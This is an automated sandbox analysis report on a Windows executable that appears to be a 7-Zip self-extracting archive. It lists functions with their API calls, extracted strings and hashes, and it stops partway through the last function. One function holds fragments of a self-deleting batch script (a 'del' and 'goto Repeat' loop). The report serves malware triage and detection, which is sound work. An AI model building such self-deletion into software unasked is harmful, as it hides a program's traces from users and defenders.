Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ItemWindow$MessageSend$Long$Load$HandleModule$IconMetricsSystemText$ClassColorCreateDestroyFocusImageLengthLibraryLocaleMenuNameParentShowThreadlstrcmpi
String ID:
API String ID: 2214986222-0
Opcode ID: 1b81f388e6aa9fef903c47ddb1861d16581847fe7d8d96ff5f76bf7b0600e741
Instruction ID: 7d9e0c02cb57fd514231bc40f0a36d101d14c3bc27ea799fcb3019c5f10878e7
Opcode Fuzzy Hash: 1b81f388e6aa9fef903c47ddb1861d16581847fe7d8d96ff5f76bf7b0600e741
Instruction Fuzzy Hash: 3881B471344300BBEB256F259D8AF3A3A55AB84710F55403FFA42BA2D2DEBCDC019A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004060A2 Relevance: 33.2, APIs: 1, Strings: 21, Instructions: 209stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,00427A24), ref: 00406182

Part of subcall function 004041E0: GetLastError.KERNEL32 ref: 00404227
Part of subcall function 004041E0: wsprintfW.USER32 ref: 00404238
Part of subcall function 004041E0: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00404247
Part of subcall function 004041E0: GetLastError.KERNEL32 ref: 00404252
Part of subcall function 004041E0: GetEnvironmentVariableW.KERNEL32(?,00000000,0000002D), ref: 0040427C
Part of subcall function 004041E0: GetLastError.KERNEL32 ref: 00404287
Part of subcall function 004041E0: lstrcmpiW.KERNEL32(00000000,00000000), ref: 00404299
Part of subcall function 004041E0: SetLastError.KERNEL32(00401877), ref: 004042CD
Part of subcall function 004041E0: lstrlenA.KERNEL32(00426DC8), ref: 00404303

Strings

PasswordText, xrefs: 004062FB
@ub, xrefs: 00406156, 00406167
ExtractPathText, xrefs: 004062A7
Title, xrefs: 004060AB
(c, xrefs: 0040631C
ExtractDialogWidth, xrefs: 00406251
ExtractPathTitle, xrefs: 00406291
ExtractDialogText, xrefs: 00406241
PasswordTitle, xrefs: 004062DF
lb, xrefs: 0040629B, 004062AC
CancelPrompt, xrefs: 004062C3
Progress, xrefs: 00406162
MiscFlags, xrefs: 0040620C, 00406211, 00406228
ExtractPathWidth, xrefs: 00406274
OverwriteMode, xrefs: 004061BE
GUIMode, xrefs: 0040619A
ErrorTitle, xrefs: 00406114
WarningTitle, xrefs: 0040612A
ExtractTitle, xrefs: 00406146
ExtractCancelText, xrefs: 00406236
GUIFlags, xrefs: 004061DC, 004061E1, 004061F8

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariablelstrcmpi$lstrlenwsprintf
String ID: lb$(c$@ub$CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle
API String ID: 2247831197-2560350608
Opcode ID: 558de74c1914829119befbb775e06c999ebdd00639881f94e960903548287ea1
Instruction ID: 9bc760864be3993021b54235d2abfb5d6207f7680534d3eb6e5285ff08bc6828
Opcode Fuzzy Hash: 558de74c1914829119befbb775e06c999ebdd00639881f94e960903548287ea1
Instruction Fuzzy Hash: C75161B1B00314AEE744BB76BDA3A3A329DDA85B58725153FF901A72D1EB7C9D00861C

Uniqueness

Uniqueness Score: -1.00%

Function 004034A5 Relevance: 31.6, APIs: 21, Instructions: 124windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004034B1
GetDeviceCaps.GDI32(00000000,00000058), ref: 004034BF
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004034D2
GetObjectW.GDI32(?,00000018,?), ref: 00403505
MulDiv.KERNEL32(?,00000003,00000002), ref: 00403510
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040351E
CreateCompatibleDC.GDI32(00000000), ref: 0040352D
CreateCompatibleDC.GDI32(?), ref: 00403537
SelectObject.GDI32(00000000,?), ref: 00403546
CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 00403551
SelectObject.GDI32(?,00000000), ref: 0040355B
SetStretchBltMode.GDI32(?,00000004), ref: 00403564
StretchBlt.GDI32(?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 00403586
GetCurrentObject.GDI32(?,00000007), ref: 0040358F
SelectObject.GDI32(?,00000000), ref: 004035A1
SelectObject.GDI32(?,00000000), ref: 004035A7
DeleteDC.GDI32(?), ref: 004035B2
DeleteDC.GDI32(?), ref: 004035B7
ReleaseDC.USER32(00000000,?), ref: 004035BE
ReleaseDC.USER32(00000000,00000000), ref: 004035CA
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004035D7

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: ca3fbb43e67b001f0a7385c2217cd3c43436acb52314a7ec7c63ed711cf9885f
Instruction ID: ff38abddddbd13a4402d6620e9fbc44aeba16cf437474320bfcf34561d193007
Opcode Fuzzy Hash: ca3fbb43e67b001f0a7385c2217cd3c43436acb52314a7ec7c63ed711cf9885f
Instruction Fuzzy Hash: 61413A71A00218BFDB319FA1DC49EAF7F79FF087A1F510061FA05A61A0C6758A51EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040501D Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 123windowlibrarystringCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 0040502E
lstrcmpiA.KERNEL32(?,STATIC), ref: 00405045
GetWindowLongW.USER32(?,000000F0), ref: 00405056

Part of subcall function 004047FA: GetWindowTextLengthW.USER32(?), ref: 0040480C
Part of subcall function 004047FA: GetWindowTextW.USER32(?,00000000,00000001), ref: 00404828

GetParent.USER32(?), ref: 0040508B
LoadLibraryA.KERNEL32(riched20), ref: 004050A0

Part of subcall function 0040407A: GetParent.USER32(?), ref: 00404081
Part of subcall function 0040407A: GetWindowRect.USER32(?,?), ref: 00404095
Part of subcall function 0040407A: ScreenToClient.USER32(00000000,?), ref: 0040409D
Part of subcall function 0040407A: ScreenToClient.USER32(00000000,?), ref: 004040A8

GetMenu.USER32(?), ref: 004050B3
SetThreadLocale.KERNEL32(00000419), ref: 004050C0
CreateWindowExW.USER32(00000000,RichEdit20W,00426A18,50000804,?,?,?,?,00000000,00000000,00000000,00000000), ref: 004050F0
DestroyWindow.USER32(?), ref: 004050FD
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 00405114
GetSysColor.USER32(0000000F), ref: 00405118
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00405126

Part of subcall function 00405873: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,?,00000000,00000000,?,?,?,?,00401E30,?,?), ref: 004058AA

SendMessageW.USER32(00000000,00000461,?,?), ref: 00405151

Strings

{\rtf, xrefs: 00405072
riched20, xrefs: 0040509B
STATIC, xrefs: 0040503C
RichEdit20W, xrefs: 004050EA

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Window$MessageSend$ClientParentScreenText$ByteCharClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuMultiNameRectThreadWidelstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 1365818316-2281146334
Opcode ID: e80f2b9e01adc9f06222ce941373085f9fa63e4b4c4edc6a518c2788bc257d85
Instruction ID: d0faeef2b71dc028168e5b540228b09c2688d41a1a06afb6a98926d44fb67058
Opcode Fuzzy Hash: e80f2b9e01adc9f06222ce941373085f9fa63e4b4c4edc6a518c2788bc257d85
Instruction Fuzzy Hash: C23193B1A00219BFDB20ABE5EC49EBF7B7CEB48714B51003AF605F6191D67899018A69

Uniqueness

Uniqueness Score: -1.00%

Function 00408C05 Relevance: 28.6, APIs: 19, Instructions: 147windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00409DFA: GetDlgItem.USER32(?,?), ref: 00409E09
Part of subcall function 00409DFA: ShowWindow.USER32(00000000,?,?,00408B2D,000004B1,00000000,?,?,?,?,000004B4,00000000,000004B3,00000000,?,00000000), ref: 00409E21

GetDlgItem.USER32(?,000004B8), ref: 00408C34
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00408C44
GetDlgItem.USER32(?,000004B4), ref: 00408C6E

Part of subcall function 00409AD9: SetWindowTextW.USER32(?,00000000), ref: 00409AE2

Part of subcall function 00409982: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004099BA
Part of subcall function 00409982: GetDlgItem.USER32(?,000004B8), ref: 004099D7
Part of subcall function 00409982: SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 004099E6
Part of subcall function 00409982: wsprintfW.USER32 ref: 00409A04
Part of subcall function 00409982: GetDlgItem.USER32(?,000004B5), ref: 00409A22

Part of subcall function 0040885E: GetModuleHandleW.KERNEL32(00000000,00000065), ref: 00408881
Part of subcall function 0040885E: LoadIconW.USER32(00000000), ref: 00408888
Part of subcall function 0040885E: GetSystemMetrics.USER32(00000032), ref: 0040889A
Part of subcall function 0040885E: GetSystemMetrics.USER32(00000031), ref: 0040889F
Part of subcall function 0040885E: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000), ref: 004088A8
Part of subcall function 0040885E: LoadImageW.USER32(00000000), ref: 004088AF
Part of subcall function 0040885E: SendMessageW.USER32(?,00000080,00000001,00000000), ref: 004088CD
Part of subcall function 0040885E: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004088DA
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 004088F6
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 00408902
Part of subcall function 0040885E: GetWindowLongW.USER32(00000000,000000F0), ref: 00408909
Part of subcall function 0040885E: SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0040891E
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B5), ref: 0040892B
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B5), ref: 0040893B
Part of subcall function 0040885E: GetWindowLongW.USER32(00000000,000000F0), ref: 00408946
Part of subcall function 0040885E: SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00408955
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 0040896B

GetDlgItem.USER32(?,000004B5), ref: 00408C97
GetWindowLongW.USER32(00000000,000000F0), ref: 00408C9C
GetDlgItem.USER32(?,000004B5), ref: 00408CB0
SetWindowLongW.USER32(00000000), ref: 00408CB3
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00408CDA
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00408CEC
GetDlgItem.USER32(?,000004B4), ref: 00408CFA
SetFocus.USER32(00000000), ref: 00408CFD
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408D29
CoCreateInstance.OLE32(00428F0C,00000000,00000001,00427EC0,00000000), ref: 00408D55
GetDlgItem.USER32(?,00000002), ref: 00408D76
IsWindow.USER32(00000000), ref: 00408D79
GetDlgItem.USER32(?,00000002), ref: 00408D89
EnableWindow.USER32(00000000), ref: 00408D8C
GetDlgItem.USER32(?,000004B5), ref: 00408DA4
ShowWindow.USER32(00000000), ref: 00408DA7

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Item$Window$Long$MessageSend$System$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTextTimerUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID:
API String ID: 3521167636-0
Opcode ID: ef67e71b5071b52f4ae61d411bf084106cff6a876782ffd59d42d159159e0de7
Instruction ID: 7d97faf7b58cfcac3b5524609e1e1f36ef4c8061182e242fc7b79367371e6bcb
Opcode Fuzzy Hash: ef67e71b5071b52f4ae61d411bf084106cff6a876782ffd59d42d159159e0de7
Instruction Fuzzy Hash: 924175B0740704AFEA206B21DE4AF1B7AADEF40B05F41853DF645A52E1CF799C41CA2C

Uniqueness

Uniqueness Score: -1.00%

Function 0040560D Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 122windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00405620
lstrcmpiA.KERNEL32(?,STATIC), ref: 00405637
GetWindowLongW.USER32(?,000000F0), ref: 00405648
GetMenu.USER32(?), ref: 0040565B

Part of subcall function 00404C1A: GetModuleHandleW.KERNEL32(00000000), ref: 00404C25
Part of subcall function 00404C1A: FindResourceExA.KERNEL32(00000000,?,?), ref: 00404C42
Part of subcall function 00404C1A: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00404C56
Part of subcall function 00404C1A: SizeofResource.KERNEL32(00000000,00000000), ref: 00404C67
Part of subcall function 00404C1A: LoadResource.KERNEL32(00000000,00000000), ref: 00404C71
Part of subcall function 00404C1A: LockResource.KERNEL32(00000000), ref: 00404C7C

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00405688
CoInitialize.OLE32(00000000), ref: 004056A8
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 004056B4
OleLoadPicture.OLEAUT32(?,00000000,00000000,00428EEC,?), ref: 004056D9
GlobalFree.KERNEL32(00000000), ref: 004056E9

Part of subcall function 004034A5: GetWindowDC.USER32(00000000), ref: 004034B1
Part of subcall function 004034A5: GetDeviceCaps.GDI32(00000000,00000058), ref: 004034BF
Part of subcall function 004034A5: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004034D2
Part of subcall function 004034A5: GetObjectW.GDI32(?,00000018,?), ref: 00403505
Part of subcall function 004034A5: MulDiv.KERNEL32(?,00000003,00000002), ref: 00403510
Part of subcall function 004034A5: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040351E
Part of subcall function 004034A5: CreateCompatibleDC.GDI32(00000000), ref: 0040352D
Part of subcall function 004034A5: CreateCompatibleDC.GDI32(?), ref: 00403537
Part of subcall function 004034A5: SelectObject.GDI32(00000000,?), ref: 00403546
Part of subcall function 004034A5: CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 00403551
Part of subcall function 004034A5: SelectObject.GDI32(?,00000000), ref: 0040355B
Part of subcall function 004034A5: SetStretchBltMode.GDI32(?,00000004), ref: 00403564
Part of subcall function 004034A5: StretchBlt.GDI32(?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 00403586
Part of subcall function 004034A5: GetCurrentObject.GDI32(?,00000007), ref: 0040358F
Part of subcall function 004034A5: SelectObject.GDI32(?,00000000), ref: 004035A1
Part of subcall function 004034A5: SelectObject.GDI32(?,00000000), ref: 004035A7
Part of subcall function 004034A5: DeleteDC.GDI32(?), ref: 004035B2
Part of subcall function 004034A5: DeleteDC.GDI32(?), ref: 004035B7

GetObjectW.GDI32(00000000,00000018,?), ref: 0040571B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000006), ref: 0040572D
SendMessageW.USER32(?,00000172,00000000,?), ref: 0040573D
GlobalFree.KERNEL32(00000000), ref: 00405752

Strings

IMAGES, xrefs: 00405662
STATIC, xrefs: 0040562E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureSendSizeofStreamlstrcmpi
String ID: IMAGES$STATIC
API String ID: 3592854226-1168396491
Opcode ID: 96c7b4543e048fb8ddd8a8114a524030a8619a82d6ff9daaad7d3f031e5ea24d
Instruction ID: dbcc53e82a793a0f111e4280b36cbfa53c87f8fb100a063f5f801e66f8a94b15
Opcode Fuzzy Hash: 96c7b4543e048fb8ddd8a8114a524030a8619a82d6ff9daaad7d3f031e5ea24d
Instruction Fuzzy Hash: 37412971A00208FFDB11ABA0DC88EAF7BBCEF48315F514069F605A6190D7799E06DB29

Uniqueness

Uniqueness Score: -1.00%

Function 004090FC Relevance: 24.3, APIs: 16, Instructions: 296COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040911F
GetWindowLongW.USER32(00000000,000000F0), ref: 00409128
GetDlgItem.USER32(?,000004B4), ref: 0040916B
GetWindowLongW.USER32(00000000,000000F0), ref: 00409174
GetSystemMetrics.USER32(00000010), ref: 004091FD
GetSystemMetrics.USER32(00000011), ref: 00409203
GetSystemMetrics.USER32(00000008), ref: 00409209
GetSystemMetrics.USER32(00000007), ref: 00409214
GetParent.USER32(?), ref: 00409239
GetClientRect.USER32(00000000,?), ref: 0040924A
ClientToScreen.USER32(00000000,?), ref: 0040925B
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 004092C1
GetClientRect.USER32(?,?), ref: 0040934B

Part of subcall function 004098A5: GetDlgItem.USER32(?,00000020), ref: 004098C3
Part of subcall function 004098A5: SetWindowPos.USER32(00000000,?,004095FA,?,?,?,?,?,00000000,?,?,75C08FB0,?,?,?,00000020), ref: 004098CA

ClientToScreen.USER32(00000000,?), ref: 00409262

Part of subcall function 00408528: GetDlgItem.USER32(?,?), ref: 00408534

GetSystemMetrics.USER32(00000008), ref: 004093D8
GetSystemMetrics.USER32(00000007), ref: 004093DF

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: fb60bdcc4212d691a135da902df9e72a618cfc71d996d7414fa3402ee0628db0
Instruction ID: a6880f0c0ec605681ecd630fcceec5972baa126ae705386a7e9dc06df6d7b694
Opcode Fuzzy Hash: fb60bdcc4212d691a135da902df9e72a618cfc71d996d7414fa3402ee0628db0
Instruction Fuzzy Hash: 33A14371A00219AFDB10CFA9CD45AAE7BB9EF88710F154169ED04FB2C5D778ED018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405A7A Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?), ref: 00405AC1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405AF4
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00405BA6
CloseHandle.KERNEL32(00000000), ref: 00405BB8
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405BCE
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00405BE0

Strings

" goto Repeat, xrefs: 00405B5B
if exist ", xrefs: 00405B42
del ", xrefs: 00405B1A, 00405B22, 00405B68
:Repeat, xrefs: 00405B0D
", xrefs: 00405B34, 00405B3C, 00405B7D
open, xrefs: 00405BDA
7ZSfx%03x.cmd, xrefs: 00405AD3

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3376544914-3467708659
Opcode ID: ca22a9b8af0fce94c390dcb497213df53faa148e993931175b6c614e6569d368
Instruction ID: 8e6db173aa86231559a50c62525afe751c9b40574cf7312193450af1fc973e56
Opcode Fuzzy Hash: ca22a9b8af0fce94c390dcb497213df53faa148e993931175b6c614e6569d368
Instruction Fuzzy Hash: 01417332900108AEDB14FBA1EC96DFF7B79EF14304F50406AF601B61A1DB396E85DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004207A5 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004207E9

Part of subcall function 00420381: _free.LIBCMT ref: 0042039E
Part of subcall function 00420381: _free.LIBCMT ref: 004203B0
Part of subcall function 00420381: _free.LIBCMT ref: 004203C2
Part of subcall function 00420381: _free.LIBCMT ref: 004203D4
Part of subcall function 00420381: _free.LIBCMT ref: 004203E6
Part of subcall function 00420381: _free.LIBCMT ref: 004203F8
Part of subcall function 00420381: _free.LIBCMT ref: 0042040A
Part of subcall function 00420381: _free.LIBCMT ref: 0042041C
Part of subcall function 00420381: _free.LIBCMT ref: 0042042E
Part of subcall function 00420381: _free.LIBCMT ref: 00420440
Part of subcall function 00420381: _free.LIBCMT ref: 00420452
Part of subcall function 00420381: _free.LIBCMT ref: 00420464
Part of subcall function 00420381: _free.LIBCMT ref: 00420476

_free.LIBCMT ref: 004207DE

Part of subcall function 0041D99A: HeapFree.KERNEL32(00000000,00000000,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?), ref: 0041D9B0
Part of subcall function 0041D99A: GetLastError.KERNEL32(?,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?,?), ref: 0041D9C2

_free.LIBCMT ref: 00420800
_free.LIBCMT ref: 00420815
_free.LIBCMT ref: 00420820
_free.LIBCMT ref: 00420842
_free.LIBCMT ref: 00420855
_free.LIBCMT ref: 00420863
_free.LIBCMT ref: 0042086E
_free.LIBCMT ref: 004208A6
_free.LIBCMT ref: 004208AD
_free.LIBCMT ref: 004208CA
_free.LIBCMT ref: 004208E2

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1e5723d25d53dd34ca643d94fd98a225f049ee2017e098510fc2e6e4f07d8627
Instruction ID: 3beaf2501bb67d53f536dcae1dbbca7b78e80550eb0cec05a9f5e30afea3ddb2
Opcode Fuzzy Hash: 1e5723d25d53dd34ca643d94fd98a225f049ee2017e098510fc2e6e4f07d8627
Instruction Fuzzy Hash: 55313CB1A003159FEB24AB3AE845B9773E8EF10314F50952BE449D7256DF7CAC908B98

Uniqueness

Uniqueness Score: -1.00%

Function 00407E84 Relevance: 16.6, APIs: 11, Instructions: 91windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407E91
GetWindowLongW.USER32(00000000), ref: 00407E98
DefWindowProcW.USER32(?,?,?,?), ref: 00407EAF
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407ED4
GetSystemMetrics.USER32(00000031), ref: 00407EE5
GetSystemMetrics.USER32(00000032), ref: 00407EEC
GetWindowDC.USER32(?), ref: 00407EFD
GetWindowRect.USER32(?,?), ref: 00407F0A
DrawIconEx.USER32(00000000,?,?,?,?,?,?,?,00000003), ref: 00407F3F
ReleaseDC.USER32(?,00000000), ref: 00407F47

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: f2d11296b786a4fd377f23624db1827a53bb40230613b5de07b7b6b3115172f0
Instruction ID: feabce49022254585574a92756a03cb3bcd8ae95f58c29a69c9a5c54e0b4d0b5
Opcode Fuzzy Hash: f2d11296b786a4fd377f23624db1827a53bb40230613b5de07b7b6b3115172f0
Instruction Fuzzy Hash: 91313A76A00209AFCB11DFA8DD88DAF7B79FB49310F414165F905A62A0C734EA019B65

Uniqueness

Uniqueness Score: -1.00%

Function 00408EB2 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00408DCC: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00408E2F
Part of subcall function 00408DCC: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 00408E4B
Part of subcall function 00408DCC: GetDlgItem.USER32(?,000004B7), ref: 00408E5E
Part of subcall function 00408DCC: SetWindowLongW.USER32(00000000,000000FC,Function_00007E84), ref: 00408E6C

Part of subcall function 00409DFA: GetDlgItem.USER32(?,?), ref: 00409E09
Part of subcall function 00409DFA: ShowWindow.USER32(00000000,?,?,00408B2D,000004B1,00000000,?,?,?,?,000004B4,00000000,000004B3,00000000,?,00000000), ref: 00409E21

Part of subcall function 00408528: GetDlgItem.USER32(?,?), ref: 00408534

GetDlgItem.USER32(?,000004B6), ref: 00408EF9
DestroyWindow.USER32(00000000), ref: 00408EFC
